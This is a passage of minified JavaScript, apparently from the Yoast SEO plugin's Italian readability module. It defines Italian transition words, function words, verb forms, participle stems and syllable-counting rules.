i)a.o(i,e)&&!a.o(t,e)&&Object.defineProperty(t,e,{enumerable:!0,get:i[e]})},o:(a,t)=>Object.prototype.hasOwnProperty.call(a,t),r:a=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(a,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(a,"__esModule",{value:!0})}},t={};a.r(t),a.d(t,{default:()=>ha});const i=window.yoast.analysis,e=["il","lo","la","i","gli","le","uno","un","una","due","tre","quattro","cinque","sei","sette","otto","nove","dieci","questo","questa","quello","quella","questi","queste","quelli","quelle","codesto","codesti","codesta","codeste"],r=["abbastanza","acciocché","acciocchè","adesso","affinché","affinchè","allora","almeno","alquanto","altrettanto","altrimenti","analogamente","anche","ancora","antecedentemente","anzi","anzitutto","apertamente","appena","assai","attualmente","benché","benchè","beninteso","bensì","brevemente","bruscamente","casomai","celermente","certamente","certo","chiaramente","ciononostante","cioé","cioè","comparabilmente","come","complessivamente","completamente","comunque","concisamente","concludendo","conformemente","congiuntamente","conseguentemente","considerando","considerato","considerevolmente","contemporaneamente","continuamente","contrariamente","controbilanciato","così","cosicché","cosicchè","dapprima","dato","davvero","definitivamente","dettagliatamente","differentemente","diversamente","dopo","dopodiché","dopodichè","durante","dunque","eccetto","eccome","effettivamente","egualmente","elencando","enfaticamente","eppure","esaurientemente","esplicitamente","espressamente","estesamente","evidentemente","finalmente","finché","finchè","fino","finora","fintanto","fintanto che","fintantoché","fintantochè","fondamentalmente","frattanto","frequentemente","generalmente","già","gradualmente","illustrando","immantinente","immediatamente","importantissimo","incontestabilmente","incredibilmente","indipendentemente","indiscutibilmente","indubbiamente","infatti","infine","innanzitutto","innegabilmente","inoltre","insomma","intanto","interamente","istantaneamente","invece","logicamente","lentamente","ma","malgrado","marcatamente","memorabile","mentre","motivatamente","naturalmente","né","nè","neanche","neppure","nonché","nonchè","nondimeno","nonostante","notevolmente","occasionalmente","oltretutto","onde","onestamente","ossia","ostinatamente","ovvero","ovviamente","parimenti","particolarmente","peraltro","perché","perchè","perciò","perlomeno","però","pertanto","pesantemente","piuttosto","poi","poiché","poichè","praticamente","precedentemente","preferibilmente","precisamente","prematuramente","presto","prima","primariamente","primo","principalmente","prontamente","proporzionalmente","pure","purché","purchè","quando","quanto","quantomeno","quindi","raramente","realmente","relativamente","riassumendo","riformulando","ripetutamente","saltuariamente","schiettamente","sebbene","secondariamente","secondo","sempre","sennò","seguente","sensibilmente","seppure","seriamente","siccome","sicuramente","significativamente","similmente","simultaneamente","singolarmente","sinteticamente","solitamente","solo","soltanto","soprattutto","sopravvalutato","sorprendentemente","sostanzialmente","sottolineando","sottovalutato","specialmente","specificamente","specificatamente","subitamente","subito","successivamente","successivo","talmente","terzo","totalmente","tranne","tuttavia","ugualmente","ulteriormente","ultimamente","veramente","verosimilmente","visto"],s=r.concat(["a breve","a causa","a causa di","a condizione che","a conseguenza","a conti fatti","a differenza di","a differenza del","a differenza della","a differenza dei","a differenza degli","a differenza delle","a dire il vero","a dire la verità","a dirla tutta","a dispetto di","a lungo","a lungo termine","a maggior ragione","a meno che non","a parte","a patto che","a prescindere","a prima vista","a proposito","a qualunque costo","a quanto","a quel proposito","a quel tempo","a quell'epoca","a questo fine","a questo proposito","a questo punto","a questo riguardo","a questo scopo","a riguardo","a seguire","a seguito","a sottolineare","a tal fine","a tal proposito","a tempo debito","a tutti gli effetti","a tutti i costi","a una prima occhiata","ad eccezione di","ad esempio","ad essere maliziosi","ad essere sinceri","ad ogni buon conto","ad ogni costo","ad ogni modo","ad una prima occhiata","adesso che","al che","al contrario","al contrario di","al fine di","al fine di fare","al giorno d'oggi","al momento","al momento giusto","al momento opportuno","al più presto","al posto di","al suo posto","al termine","all'epoca","all'infuori di","all'inizio","all'opposto","all'ultimo","alla fine","alla fine della fiera","alla luce","alla luce di","alla lunga","alla moda","alla stessa maniera","allo scopo di","allo stesso modo","allo stesso tempo","anch'esso","anch'io","anche se","ancora più","ancora di più","assumendo che","bisogna chiarire che","bisogna considerare che","causato da","ciò nondimeno","ciò nonostante","col tempo","con il tempo","come a dire","come abbiamo dimostrato","come è stato notato","come è stato detto","come è stato dimostrato","come hanno detto","come ho detto","come ho dimostrato","come ho notato","come potete notare","come potete vedere","come puoi notare","come puoi vedere","come si è dimostrato","come si può vedere","come si può notare","come sopra indicato","comunque sia","con attenzione","con enfasi","con il risultato che","con l'obiettivo di","con ostinazione","con questa intenzione","con questa idea","con queste idee","con questo in testa","con questo scopo","così che","così da","d'altra parte","d'altro canto","d'altro lato","d'altronde","d'ora in avanti","d'ora in poi","da allora","da quando","da quanto","da quel momento","da quella volta","da questo momento in poi","da questo momento","da qui","da ultimo","da un certo punto di vista","da un lato","da una parte","dall'altro lato","dall'epoca","dal che","dato che","dato per assunto che","davanti a","del tutto","dell'epoca","detto questo","di certo","di colpo","di conseguenza","di fatto","di fronte","di fronte a","di lì a poco","di punto in bianco","di quando in quando","di quanto non sia","di quel tempo","di qui a","di rado","di seguito","di si","di sicuro","di solito","di tanto in tanto","di tutt'altra pasta","di quando in quando","differente da","diversamente da","diverso da","dopotutto","dovuto a","e anche","e inoltre","entro breve","fermo restando che","faccia a faccia","fin da","fin dall'inizio","fin quando","finché non","finchè non","fin dal primo momento","fin dall'inizio","fino a","fino a questo momento","fino ad oggi","fino ai giorni nostri","fino adesso","fino a un certo punto","fino adesso","fra quanto","il prima possibile","in aggiunta","in altre parole","in altri termini","in ambo i casi","in breve","in caso di","in conclusione","in conformità","in confronto","in confronto a","in conseguenza","in considerazione","in considerazione di","in definitiva","in dettaglio","importante rendersi conto","in effetti","in entrambi i casi","in fin dei conti","in generale","in genere","in linea di massima","in poche parole","il più possibile","in maggior parte","in maniera analoga","in maniera convincente","in maniera esauriente","in maniera esaustiva","in maniera esplicita","in maniera evidente","in maniera incontestabile","in maniera indiscutibile","in maniera innegabile","in maniera significativa","in maniera simile","in modo allusivo","in modo analogo","in modo che","in modo convincente","in modo da","in modo identico","in modo notevole","in modo significativo","in modo significativo","in modo simile","in ogni caso","in ogni modo","in ogni momento","in parte considerevole","in parti uguali","in particolare","in particolare per","in particolare","in più","in pratica","in precedenza","in prima battuta","in prima istanza","in primo luogo","in rapporto","in qualche modo","in qualsiasi modo","in qualsiasi momento","in qualunque modo","in qualunque momento","in quarta battuta","in quarta istanza","in quarto luogo","in quel caso","in quelle circostanze","in questa occasione","in questa situazione","in questo caso","in questo caso particolare","in questo istante","in questo momento","in rare occasioni","in realtà","in seconda battuta","in seconda istanza","in secondo luogo","in seguito","in sintesi","in sostanza","in tempo","in terza battuta","in terza istanza","in terzo luogo","in totale","in tutto","in ugual maniera","in ugual misura","in ugual modo","in ultima analisi","in ultima istanza","in un altro caso","in una parola","in verità","insieme a","insieme con","invece che","invece di","la prima cosa da considerare","la prima cosa da tenere a mente","lo stesso","mentre potrebbe essere vero","motivo per cui","motivo per il quale","ne consegue che","ne deriva che","nei dettagli","nel caso","nel caso che","nel caso in cui","nel complesso","nel corso del","nel corso di","nel frattempo","nel lungo periodo","nel mentre","nell'eventualità che","nella misura in cui","nella speranza che","nella stessa maniera","nella stessa misura","nello specifico","nello stesso modo","nello stesso momento","nello stesso stile","non appena","non per essere maliziosi","non più da","nonostante ciò","nonostante tutto","ogni qualvolta","ogni tanto","ogni volta","oltre a","oltre a ciò","ora che","passo dopo passo","per causa di","per certo","per chiarezza","per chiarire","per come","per concludere","per conto di","per contro","per cui","per davvero","per di più","per dirla in altro modo","per dirla meglio","per dirla tutta","per es.","per esempio","per essere sinceri","per far vedere","per farla breve","per finire","per l'avvenire","per l'ultima volta","per la maggior parte","per la stessa ragione","per la verità","per lo più","per mettere in luce","per metterla in altro modo","per non dire di","per non parlare di","per ora","per ovvi motivi","per paura di","per paura dei","per paura delle","per paura degli","per prima cosa","per quanto","per questa ragione","per questo motivo","per riassumere","per sottolineare","per timore","per trarre le conclusioni","per ultima","per ultime","per ultimi","per ultimo","per via di","perché si","perchè si","perfino se","piano piano","più di ogni altra cosa","più di tutto","più facilmente","più importante","più tardi","poco a poco","poco dopo","prendiamo il caso di","presto o tardi","prima che","prima di","prima di ogni cosa","prima di tutto","prima o dopo","prima o poi","questo è probabilmente vero","questo potrebbe essere vero","restando inteso che","riassumendo","quanto prima","questa volta","se confrontato con","se e solo se","se no","seduta stante","sempreché","semprechè","sempre che","senz'altro","senza alcun riguardo","senza dubbio","senz'ombra di dubbio","senza ombra di dubbio","senza riguardo per","senza tregua","senza ulteriore ritardo","sia quel che sia","solo se","sotto questa luce","sperando che","sta volta","su tutto","subito dopo","sul serio","tanto per cominciare","tanto quanto","tra breve","tra l'altro","tra poco","tra quanto","tutte le volte","tutti insieme","tutto a un tratto","tutto ad un tratto","tutto d'un tratto","tutto considerato","tutto sommato","un passo alla volta","un tempo","una volta","una volta ogni tanto","unito a","va chiarito che","va considerato che","vada come vada","vale a dire","visto che"]);function o(a){let t=a;return a.forEach((i=>{(i=i.split("-")).length>0&&i.filter((t=>!a.includes(t))).length>0&&(t=t.concat(i))})),t}const n=["il","i","la","le","lo","gli","un","uno","una"],c=["due","tre","quattro","cinque","sette","otto","nove","dieci","undici","dodici","tredici","quattordici","quindici","sedici","diciassette","diciotto","diciannove","venti","cento","mille","mila","duemila","tremila","quattromila","cinquemila","seimila","settemila","ottomila","novemila","diecimila","milione","milioni","miliardo","miliardi"],l=["prima","primi","prime","secondo","seconda","secondi","seconde","terzo","terza","terzi","terze","quarto","quarta","quarti","quarte","quinto","quinta","quinti","quinte","sesto","sesta","sesti","seste","settimo","settima","settimi","settime","ottavo","ottava","ottavi","ottave","nono","nona","noni","none","decimo","decima","decimi","decime","undicesimo","undicesima","undicesimi","undicesime","dodicesimo","dodicesima","dodicesimi","dodicesime","tredicesimo","tredicesima","tredicesimi","tredicesime","quattordicesimo","quattordicesima","quattordicesimi","quattordicesime","quindicesimo","quindicesima","quindicesimi","quindicesime","sedicesimo","sedicesima","sedicesimi","sedicesime","diciassettesimo","diciassettesima","diciassettesimi","diciassettesime","diciannovesimo","diciannovesima","diciannovesimi","diciannovesime","ventesimo","ventesima","ventesimi","ventesime"],p=["io","tu","egli","esso","lui","ella","essa","lei","noi","voi","essi","esse","loro"],m=["mi","ti","si","ci","vi","li","me","te","se","glie","glielo","gliela","glieli","gliele","gliene","ce","ve"],d=["sé"],u=["ciò","codesto","codesta","codesti","codeste","colei","colui","coloro","costei","costui","costoro","medesimo","medesima","medesimi","medesime","questo","questa","questi","queste","quello","quella","quelli","quelle","quel","quei","quegli"],g=["mio","mia","miei","mie","tuo","tua","tuoi","tue","suo","sua","suoi","sue","nostro","nostra","nostri","nostre","vostro","vostra","vostri","vostre"],z=["affatto","alcun","alcuna","alcune","alcuni","alcuno","bastantemente","grandemente","massimamente","meno","minimamente","molta","molte","molti","moltissimo","molto","nessun","nessuna","nessuno","niente","nulla","ogni","più","po'","poca","poche","pochi","poco","pochissime","pochissimi","qualche","qualsiasi","qualunque","quintali","rara","rarissima","rarissimo","raro","spesso","spessissimo","sufficientemente","taluno","taluna","taluni","talune","tanta","tante","tanti","tantissime","tantissimi","tanto","tonnellate","troppa","troppe","troppi","troppo","tutta","tutte","tutti","tutto"],f=["alcunché","alcunchè","altro","altra","altri","altre","certa","certi","certe","checché","checchè","chicchessia","chiunque","ciascuno","ciascuna","ciascun","diverso","diversa","diversi","diverse","parecchio","parecchia","parecchi","parecchie","qualcosa","qualcuno","qualcuna","vario","varia","vari","varie"],v=["che","cosa","cui","qual","quale","quali"],b=["chi","quanta","quante","quanti","quanto"],h=["com'è","com'era","com'erano","donde","d'onde","dove","dov'è","dov'era","dov'erano","dovunque"],q=["ne"],w=["accanto","altrove","attorno","dappertutto","giù","là","laggiù","lassù","lì","ovunque","qua","quaggiù","quassù","qui"],y=["vengano","vengo","vengono","veniamo","veniate","venimmo","venisse","venissero","venissi","venissimo","veniste","venisti","venite","veniva","venivamo","venivano","venivate","venivi","venivo","venne","vennero","venni","verrà","verrai","verranno","verrebbe","verrebbero","verrei","verremmo","verremo","verreste","verresti","verrete","verrò","viene","vieni"],x=["venire","venir"],B=["abbi","abbia","abbiamo","abbiano","abbiate","abbiente","avemmo","avendo","avente","avesse","avessero","avessi","avessimo","aveste","avesti","avete","aveva","avevamo","avevano","avevate","avevi","avevo","avrà","avrai","avranno","avrebbe","avrebbero","avrei","avremmo","avremo","avreste","avresti","avrete","avrò","avuto","ebbe","ebbero","ebbi","ha","hai","hanno","ho","l'abbi","l'abbia","l'abbiamo","l'abbiano","l'abbiate","l'abbiente","l'avemmo","l'avendo","l'avente","l'avesse","l'avessero","l'avessi","l'avessimo","l'aveste","l'avesti","l'avete","l'aveva","l'avevamo","l'avevano","l'avevate","l'avevi","l'avevo","l'avrà","l'avrai","l'avranno","l'avrebbe","l'avrebbero","l'avrei","l'avremmo","l'avremo","l'avreste","l'avresti","l'avrete","l'avrò","l'avuto","l'ebbe","l'ebbero","l'ebbi","l'ha","l'hai","l'hanno","l'ho","possa","possano","possiamo","possiate","posso","possono","poté","potei","potemmo","potendo","potente","poterono","potesse","potessero","potessi","potessimo","poteste","potesti","potete","potette","potettero","potetti","poteva","potevamo","potevano","potevate","potevi","potevo","potrà","potrai","potranno","potrebbe","potrebbero","potrei","potremmo","potremo","potreste","potresti","potrete","potrò","potuto","può","puoi","voglia","vogliamo","vogliano","vogliate","voglio","vogliono","volemmo","volendo","volente","volesse","volessero","volessi","volessimo","voleste","volesti","volete","voleva","volevamo","volevano","volevate","volevi","volevo","volle","vollero","volli","voluto","vorrà","vorrai","vorranno","vorrebbe","vorrebbero","vorrei","vorremmo","vorremo","vorreste","vorresti","vorrete","vorrò","vuoi","vuole","debba","debbano","debbono","deva","deve","devi","devo","devono","dobbiamo","dobbiate","dové","dovei","dovemmo","dovendo","doverono","dovesse","dovessero","dovessi","dovessimo","doveste","dovesti","dovete","dovette","dovettero","dovetti","doveva","dovevamo","dovevano","dovevate","dovevi","dovevo","dovrà","dovrai","dovranno","dovrebbe","dovrebbero","dovrei","dovremmo","dovremo","dovreste","dovresti","dovrete","dovrò","dovuto","sa","sai","sanno","sapemmo","sapendo","sapesse","sapessero","sapessi","sapessimo","sapeste","sapesti","sapete","sapeva","sapevamo","sapevano","sapevate","sapevi","sapevo","sappi","sappia","sappiamo","sappiano","sappiate","saprà","saprai","sapranno","saprebbe","saprebbero","saprei","sapremmo","sapremo","sapreste","sapresti","saprete","saprò","saputo","seppe","seppero","seppi","so","soglia","sogliamo","sogliano","sogliate","soglio","sogliono","solesse","solessero","solessi","solessimo","soleste","solete","soleva","solevamo","solevano","solevate","solevi","solevo","suoli","sta","stai","stando","stanno","stante","starà","starai","staranno","staremo","starete","starò","stava","stavamo","stavano","stavate","stavi","stavo","stemmo","stessero","stessimo","steste","stesti","stette","stettero","stetti","stia","stiamo","stiano","stiate","sto"],F=["avere","l'avere","aver","l'aver","potere","poter","volere","voler","dovere","dover","sapere","saper","solere","stare","star"],S=["è","e'","era","erano","eravamo","eravate","eri","ero","essendo","essente","fosse","fossero","fossi","fossimo","foste","fosti","fu","fui","fummo","furono","sarà","sarai","saranno","sarebbe","sarebbero","sarei","saremmo","saremo","sareste","saresti","sarete","sarò","sei","sia","siamo","siano","siate","siete","sii","sono","stata","state","stati","stato"],k=["essere","esser"],P=["di","del","dello","della","dei","degli","delle","a","ad","al","allo","alla","ai","agli","alle","da","dal","dallo","dalla","dai","dagli","dalle","in","nel","nello","nella","nei","negli","nelle","con","col","collo","colla","coi","cogli","colle","su","sul","sullo","sulla","sui","sugli","sulle","per","pel","pello","pella","pei","pegli","tra","fra","attraverso","circa","contro","davanti","dentro","dietro","entro","escluso","fuori","insieme","intorno","lontano","lungo","mediante","oltre","presso","rasente","riguardo","senza","sopra","sotto","tramite","vicino"],C=["e","ed","o","oppure"],W=["tale","l'uno","l'altro","tali","dall'altra"],R=["anziché","anzichè","fuorché","fuorchè","giacché","giacchè","laddove","modo","ove","qualora","quantunque","volta"],O=["dice","dicono","diceva","dicevano","disse","dissero","detto","domanda","domandano","domandava","domandavano","domandò","domandarono","domandato","afferma","affermato","aggiunge","aggiunto","ammette","ammesso","annuncia","annunciato","assicura","assicurato","chiede","chiesto","commentato","conclude","concluso","continua","continuato","denuncia","denunciato","dichiara","dichiarato","esordisce","esordito","inizia","iniziato","precisato","prosegue","proseguito","racconta","raccontato","recita","recitato","replica","replicato","risponde","risposto","rimarca","rimarcato","rivela","rivelato","scandisce","scandito","segnala","segnalato","sottolinea","sottolineato","spiega","spiegato"],j=["affermare","aggiungere","ammettere","annunciare","assicurare","chiedere","commentare","concludere","continuare","denunciare","dichiarare","esordire","iniziare","precisare","proseguire","raccontare","recitare","replicare","rispondere","rimarcare","rivelare","scandire","segnalare","sottolineare","spiegare"],E=["addirittura","assolutamente","ben","estremamente","mica","nemmeno","quasi"],T=["fa","fa'","faccia","facciamo","facciano","facciate","faccio","facemmo","facendo","facente","facesse","facessero","facessi","facessimo","faceste","facesti","faceva","facevamo","facevano","facevate","facevi","facevo","fai","fanno","farà","farai","faranno","farebbe","farebbero","farei","faremmo","faremo","fareste","faresti","farete","farò","fate","fatto","fece","fecero","feci","fo"],A=["fare"],M=["anteriore","anteriori","precedente","precedenti","facile","facili","facilissimo","facilissima","facilissimi","facilissime","semplice","semplici","semplicissima","semplicissimo","semplicissimi","semplicissime","semplicemente","rapido","rapida","rapidi","rapide","veloce","veloci","differente","difficile","difficili","difficilissimo","difficilissima","difficilissimi","difficilissime","basso","bassa","bassi","basse","alto","alta","alti","alte","normale","normali","normalmente","corto","corta","corti","corte","breve","brevi","recente","recenti","totale","totali","completo","completa","completi","complete","possibile","possibili","ultimo","ultima","ultimi","ultime","differenti","simile","simili","prossimo","prossima","prossimi","prossime","giusto","giusta","giusti","giuste","giustamente","cosiddetto","bene","meglio","benissimo","male","peggio","malissimo","comunemente","constantemente","direttamente","esattamente","facilmente","generalmente","leggermente","personalmente","recentemente","sinceramente","solamente","avanti","indietro"],L=["nuovo","nuova","nuovi","nuove","vecchio","vecchia","vecchi","vecchie","bello","bella","belli","belle","bei","begli","bellissimo","bellissima","bellissimi","bellissime","buono","buona","buoni","buone","buonissimo","buonissima","buonissimi","buonissime","grande","grandi","grandissimo","grandissima","grandissimi","grandissime","lunga","lunghi","lunghe","piccolo","piccola","piccoli","piccole","piccolissimo","piccolissima","piccolissimi","piccolissime","proprio","propria","propri","proprie","solito","solita","soliti","solite","stesso","stessa","stessi","stesse"],N=["accidenti","acciderba","ah","aah","ahi","ahia","ahimé","bah","beh","boh","ca","caspita","chissà","de'","diamine","ecco","eh","ehi","eeh","ehilà","ehm","gna","ih","magari","macché","macchè","mah","mhm","nca","neh","oibò","oh","ohe","ohé","ohilá","ohibò","ohimé","okay","ok","olà","poh","pota","puah","sorbole","to'","toh","ts","uff","uffa","uh","uhi"],$=["cc","g","hg","hl","kg","l","prs","pz","q.b.","qb","ta","tz"],_=["minuto","minuti","ora","ore","giorno","giorni","giornata","giornate","settimana","settimane","mese","mesi","anno","anni","oggi","domani","ieri","stamattina","stanotte","stasera","tardi"],D=["aspetto","aspetti","caso","casi","cose","idea","idee","istanza","maniera","oggetto","oggetti","parte","parti","persona","persone","pezzo","pezzi","punto","punti","sorta","sorte","tema","temi","volte"],G=["sì","no","non","€","euro","euros","ecc","eccetera"],I=(o(M),o([].concat(l,j,x,F,k,A,L)),o([].concat(n,P,C,u,E,z,g)),o([].concat(r,p,m,d,N,c,y,B,S,O,T,f,W,R,v,b,h,w,G,q,$,_,D)),o([].concat(n,P,m,g,f,c,l,T,A,O,v,b,d,h))),J=o([].concat(B,F)),U=o([].concat(n,c,l,u,g,p,m,d,z,f,b,h,v,q,w,y,x,B,F,S,k,P,C,W,R,O,j,r,["eventualmente","forse","mai","probabilmente"],E,T,A,N,M,L,$,D,G,_,["sig.na","sig.ra","sig","sigg","dr","dr.ssa","dott","dott.ssa","prof","prof.ssa","gent","gent.mo","gent.mi","gent.ma","gent.me","egr","egr.i","egr.ia","egr.ie","preg.mo","preg.mo","preg.ma","preg.me","ill","ill.mo","ill.mi","ill.ma","ill.me","cav","on","spett"])),V=["a condizione che","a meno che non","a patto che","a seconda che","acché","affinché","al fine di","allorché","allorquando","anche se","anziché","avvegnaché","basta que","benché","beninteso que","chi","cui","dal momento che","dopo che","dove","finché non","fintantoché","i quali","il quale","in caso","in modo che","la quale","le quali","malgrado","mentre","nel caso in cui","nel eventualità che","nonostante che","ogni volta che","per il fatto che","perché","piuttosto che","piuttosto di","poiche","prima che","purché","qualora","quando","quantunque","quello che","sebbene","senza che","siccome","tranne che","una volta che"],H=[["né","né"],["non","ma"],["non prima","che"],["non prima","di"],["non solo","ma anche"],["o","o"],["se","allora"],["se","o"],["sia","che"]],K=JSON.parse('{"vowels":"aeiouyàèéìîïòù","deviations":{"vowels":[{"fragments":["a[íúeo]","e[íúao]","o[íúaeè]","í[aeo]","ú[aeo]","ai[aeou]","àii","aiì","au[eé]","ei[aàeèé]","èia","ia[èiì]","iài","oi[aàeèo]","òia","óio","uí","ui[aàó]","ùio","ouï","coo[cmnpr]","lcool","coòf","[aeuioìùèéàò]y[aeuioíìùèàó]","ìa$","èa$"],"countModifier":1},{"fragments":["aoi","aoì","ioe","riae","ïa$"],"countModifier":1}],"words":{"full":[{"word":"via","syllables":2},{"word":"guaime","syllables":3},{"word":"guaina","syllables":3},{"word":"coke","syllables":1},{"word":"frame","syllables":1},{"word":"goal","syllables":1},{"word":"live","syllables":1},{"word":"mouse","syllables":1},{"word":"coon","syllables":1}],"fragments":{"global":[{"word":"mayoyào","syllables":4},{"word":"eye-liner","syllables":3},{"word":"scooner","syllables":2},{"word":"cocoon","syllables":2},{"word":"silhouette","syllables":4},{"word":"circuíto","syllables":4},{"word":"cruento","syllables":3},{"word":"cruènto","syllables":3},{"word":"rituale","syllables":4},{"word":"duello","syllables":3},{"word":"fuorviante","syllables":4},{"word":"league","syllables":1},{"word":"leader","syllables":2},{"word":"appeal","syllables":2},{"word":"backstage","syllables":2},{"word":"badge","syllables":1},{"word":"baseball","syllables":2},{"word":"beauty","syllables":2},{"word":"bondage","syllables":2,"notFollowedBy":["s"]},{"word":"break","syllables":1},{"word":"brokerage","syllables":3},{"word":"business","syllables":2},{"word":"cache","syllables":2,"notFollowedBy":["s","r"]},{"word":"cashmere","syllables":2},{"word":"challenge","syllables":2,"notFollowedBy":["s","r"]},{"word":"charleston","syllables":2},{"word":"cheap","syllables":1},{"word":"cottage","syllables":2,"notFollowedBy":["s"]},{"word":"cruise","syllables":1,"notFollowedBy":["s","r"]},{"word":"device","syllables":2,"notFollowedBy":["s"]},{"word":"downgrade","syllables":2,"notFollowedBy":["d"]},{"word":"download","syllables":2},{"word":"drive","syllables":1,"notFollowedBy":["r"]},{"word":"endorsement","syllables":3},{"word":"drive","syllables":1,"notFollowedBy":["r"]},{"word":"executive","syllables":4},{"word":"firmware","syllables":2},{"word":"fobia","syllables":3},{"word":"float","syllables":1},{"word":"freak","syllables":1},{"word":"game","syllables":1,"notFollowedBy":["r"]},{"word":"guideline","syllables":2},{"word":"hardware","syllables":2},{"word":"homeless","syllables":2},{"word":"hardware","syllables":1,"notFollowedBy":["r"]},{"word":"hardware","syllables":1,"notFollowedBy":["r"]},{"word":"hardware","syllables":1,"notFollowedBy":["r"]},{"word":"hospice","syllables":2,"notFollowedBy":["s"]},{"word":"impeachment","syllables":3},{"word":"jeans","syllables":1},{"word":"jukebox","syllables":2},{"word":"leasing","syllables":2},{"word":"lease","syllables":1,"notFollowedBy":["s"]},{"word":"lounge","syllables":1,"notFollowedBy":["r","s"]},{"word":"magazine","syllables":3},{"word":"notebook","syllables":2},{"word":"office","syllables":2,"notFollowedBy":["r","s"]},{"word":"online","syllables":2},{"word":"offline","syllables":2},{"word":"overcoat","syllables":3},{"word":"offside","syllables":2,"notFollowedBy":["r"]},{"word":"overdrive","syllables":3},{"word":"oversize","syllables":3},{"word":"pacemaker","syllables":3},{"word":"package","syllables":2,"notFollowedBy":["r","s"]},{"word":"pancake","syllables":2},{"word":"performance","syllables":3},{"word":"premium","syllables":3},{"word":"ragtime","syllables":2},{"word":"reading","syllables":2},{"word":"residence","syllables":3,"notFollowedBy":["s"]},{"word":"roaming","syllables":2},{"word":"rollerblade","syllables":3,"notFollowedBy":["r"]},{"word":"royalty","syllables":3},{"word":"shake","syllables":1,"notFollowedBy":["r"]},{"word":"shale","syllables":1},{"word":"shampooing","syllables":3},{"word":"shareware","syllables":2},{"word":"shearling","syllables":2},{"word":"sidecar","syllables":2},{"word":"hardware","syllables":1,"notFollowedBy":["r"]},{"word":"skate","syllables":1,"notFollowedBy":["n","r"]},{"word":"trial","syllables":2},{"word":"toast","syllables":1},{"word":"texture","syllables":2},{"word":"testimonial","syllables":5},{"word":"teaser","syllables":2},{"word":"sweater","syllables":2},{"word":"suspense","syllables":2,"notFollowedBy":["r"]},{"word":"subroutine","syllables":3},{"word":"steadicam","syllables":3},{"word":"spread","syllables":1},{"word":"speaker","syllables":2},{"word":"board","syllables":1},{"word":"sneaker","syllables":2},{"word":"smartphone","syllables":2},{"word":"slide","syllables":1,"notFollowedBy":["r"]},{"word":"skyline","syllables":2},{"word":"skinhead","syllables":2},{"word":"update","syllables":2,"notFollowedBy":["r"]},{"word":"upgrade","syllables":2,"notFollowedBy":["r"]},{"word":"upload","syllables":2},{"word":"vintage","syllables":2},{"word":"wakeboard","syllables":2},{"word":"website","syllables":2},{"word":"welfare","syllables":2},{"word":"yeah","syllables":1},{"word":"yearling","syllables":2}],"atEnd":[{"word":"byte","syllables":1,"alsoFollowedBy":["s"]},{"word":"bite","syllables":1,"alsoFollowedBy":["s"]},{"word":"beat","syllables":1,"alsoFollowedBy":["s"]},{"word":"coach","syllables":1},{"word":"line","syllables":1,"alsoFollowedBy":["s"]}],"atBeginning":[{"word":"cheese","syllables":1},{"word":"head","syllables":1},{"word":"streak","syllables":1}],"atBeginningOrEnd":[{"word":"team","syllables":1},{"word":"stream","syllables":1}]}}}}'),Q={recommendedLength:25},X=["abalienat","abbacchiat","abbacinat","abbadat","abbagliat","abbaiat","abballat","abbambinat","abbancat","abbandonat","abbarbagliat","abbarbat","abbarcat","abbaruffat","abbassat","abbatacchiat","abbattut","abbatuffolat","abbelit","abbellat","abbellit","abbendat","abbeverat","abbiadat","abbicat","abbigliat","abbinat","abbindolat","abbioccat","abbiosciat","abbisciat","abbittat","abboccat","abboffat","abbominat","abbonacciat","abbonat","abbonit","abbordat","abborracciat","abborrat","abborrit","abbottinat","abbottonat","abbozzacchiat","abbozzat","abbozzolat","abbracciat","abbraciat","abbrancat","abbreviat","abbriccat","abbrigliat","abbrivat","abbriviat","abbrividit","abbronzat","abbrostolat","abbrostolit","abbruciacchiat","abbruciat","abbrunat","abbrunit","abbruscat","abbrusciat","abbrustiat","abbrustolat","abbrustolit","abbrutit","abbruttit","abbuffat","abbuiat","abbuonat","abburattat","abbuzzit","abdicat","abdott","abiettat","abilitat","abissat","abitat","abituat","abiurat","abolit","abominat","abondat","aborrit","abortit","abras","abrogat","abusat","accaffat","accagionat","accagliat","accalappiat","accalcat","accaldat","accallat","accalorat","accalorit","accambiat","accampat","accampionat","accanalat","accanat","accaneggiat","accanit","accantonat","accaparrat","accapezzat","accapigliat","accapottat","accappiat","accappiettat","accapponat","accappucciat","accaprettat","accareggiat","accarezzat","accarnat","accarpionat","accartocciat","accasat","accasciat","accasellat","accasermat","accastellat","accastellinat","accatarrat","accatastat","accattat","accattivat","accavalcat","accavalciat","accavallat","accavezzat","accecat","acceffat","accelerat","accellerat","accennat","accensat","accentat","accentrat","accentuat","acceppat","accerchiat","accercinat","accertat","acces","accessoriat","accettat","acchetat","acchiappat","acchiocciolat","acchitat","acchiudut","acciabattat","acciaiat","acciambellat","acciarpat","acciecat","accigliat","acciglionat","accignut","accincignat","accint","acciocchit","acciottolat","accipigliat","accismat","accis","acciucchit","acciuffat","accivettat","acclamat","acclarat","acclimatat","acclus","accoccat","accoccolat","accoccovat","accodat","accollat","accoltellat","accolt","accomandat","accomiatat","accommiatat","accomodat","accompagnat","accomunat","acconciat","acconigliat","accontat","accontentat","accoppat","accoppiat","accorat","accorciat","accorcit","accordat","accordellat","accorpat","accort","accosciat","accostat","accostumat","accotonat","accottimat","accovacciat","accovat","accovonat","accozzat","accreditat","accresciut","accrespat","accucciat","accucciolat","accudit","acculat","acculturat","accumulat","accumunat","accusat","acetificat","acetilat","acetit","acidat","acidificat","acidulat","acquadernat","acquarellat","acquartierat","acquat","acquattat","acquerellat","acquetat","acquietat","acquisit","acquistat","acromatizzat","acuit","acuminat","acutizzat","adacquat","adagiat","adattat","addaziat","addebbiat","addebitat","addecimat","addensat","addentat","addentellat","addentrat","addestrat","addett","addiacciat","addimandat","addimesticat","addimorat","addimostrat","addipanat","addirizzat","additat","additivat","addizionat","addobbat","addocilit","addogliat","addolcat","addolciat","addolcit","addolorat","addomandat","addomesticat","addoppiat","addormentat","addossat","addott","addottorat","addottrinat","addrizzat","adduat","addugliat","adeguat","adempit","adempiut","adequat","aderizzat","adescat","adibit","adirat","adit","adiuvat","adizzat","adocchiat","adombrat","adonat","adonestat","adontat","adoperat","adoprat","adorat","adornat","adottat","adsorbit","aduggiat","adugnat","adulat","adulterat","adunat","adunghiat","adusat","aerat","aereat","aerotrainat","aerotrasportat","affabulat","affaccendat","affacchinat","affacciat","affagottat","affaldat","affamat","affamigliat","affannat","affardellat","affascinat","affastellat","affaticat","affattucchiat","affatturat","affermat","afferrat","affettat","affezionat","affiancat","affiatat","affibbiat","affidat","affienat","affievolit","affigliat","affigurat","affilat","affilettat","affiliat","affinat","affiochit","affiorat","affisat",